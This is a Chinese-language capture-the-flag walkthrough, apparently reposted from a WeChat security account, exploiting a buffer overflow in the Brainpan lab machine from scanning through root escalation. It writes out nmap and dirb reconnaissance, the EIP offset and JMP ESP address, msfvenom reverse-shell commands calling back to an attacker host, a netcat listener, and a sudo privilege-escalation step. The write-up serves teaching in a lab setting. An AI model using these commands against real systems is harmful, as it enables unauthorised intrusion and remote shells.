实战缓冲区溢出漏洞攻击:从信息收集到成功提权
今天带大家深入网络安全的实战领域
来一场刺激的缓冲区溢出漏洞利用之旅
咱们以Brainpan程序为例,一步步揭开漏洞攻击的神秘面纱,但这仅仅是用于学习交流,可别拿去干坏事哦!
一、信息收集:摸清目标底细
(一)扫描网段找目标
咱先用nmap -sP 192.168.20.0/24
扫描网段,这就好比在一片区域里挨家挨户敲门,看看哪些“房子”(主机)是有人(开机)的。扫描后发现了网关、靶机、本地攻击机等的IP地址,确定了咱们的攻击目标是192.168.20.128
。
(二)扫描端口探服务
接着用nmap -sV -p- 192.168.20.128
扫描目标端口,这一步能知道目标主机上都开了哪些“门”(端口),以及门后面运行着什么“服务”。扫描结果显示,9999端口和10000端口是开放的,9999端口对应的服务不太明确,10000端口运行着一个简单的HTTP服务。
(三)访问Web找线索
访问http://192.168.20.128:9999/
,发现是个登录系统,但在浏览器上没法交互。再访问http://192.168.20.128:10000/
,没找到啥有用信息。不过用dirb http://192.168.20.128:10000/
枚举目录后,发现了/bin
目录,还找到了brainpan.exe
程序,这可是个关键线索!
二、缓冲溢出攻击:步步深入
(一)调试程序找漏洞
把brainpan.exe
拿到Windows 10 32位虚拟机上运行,同时打开Immunity Debugger调试器并导入这个程序的进程。这就像给程序做“体检”,能看到程序内部的各种情况。
(二)生成脏数据测漏洞
用Python生成一大串相同字符(比如print('A' * 600)
),通过nc 192.168.20.128 9999
连接到目标端口后注入这些数据,程序瞬间崩溃。查看调试器,发现EIP被覆盖了,这说明程序存在缓冲区溢出漏洞。
(三)确定偏移量
为了精准定位EIP的位置,用msf - pattern_create -l 600
生成随机脏数据,再次注入。通过msf - pattern_offset -l 600 -q 覆盖EIP的值
计算出偏移量是524。这样,我们就能精准控制EIP了。
(四)测试溢出数据量和坏字符
测试能溢出多少数据,计划用1000字符,结果发现还能注入472字节。接着用Python脚本注入包含各种字符的字符串来识别坏字符,在调试器里查看ESP的值,发现没有坏字符,这为我们后续构造攻击代码提供了便利。
(五)定位JMP ESP指令
在kali里用msf - nasm_shell
把jmp esp
转换成十六进制FFE4
,再用!mona find -s "xffxe4" -m "brainpan.exe"
在程序进程里找到这个指令的地址0x311712f3
,因为CPU读取地址是倒着读的,所以写入时要翻转成xf3x12x17x31
。
(六)构建并注入payload
用msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" EXITFUNC=thread
生成反弹shell的代码,把这些代码和之前确定的偏移量、JMP ESP地址等组合成payload
,通过Python脚本注入到程序里。在kali里用nc -lnvvp 8888
监听端口,成功反弹shell,拿到了目标系统的权限!
三、后续渗透:扩大战果
(一)收集系统信息
用nmap -O 192.168.20.128
收集系统类型,得知目标系统是Linux 2.6.32 - 3.10。然后针对这个系统,用msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" -e x86/shikata_ga_nai
生成新的反弹shell代码,再次注入并成功拿到shell。
(二)提权操作
查看sudo -l
,发现可以免密使用/home/anansi/bin/anansi_util
这个命令。尝试运行这个命令并添加不同参数,最后通过sudo /home/anansi/bin/anansi_util manual ls
成功提权,拿到了root权限!
原文始发于微信公众号(泷羽Sec-边酱):实战缓冲区溢出漏洞攻击:从信息收集到成功提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论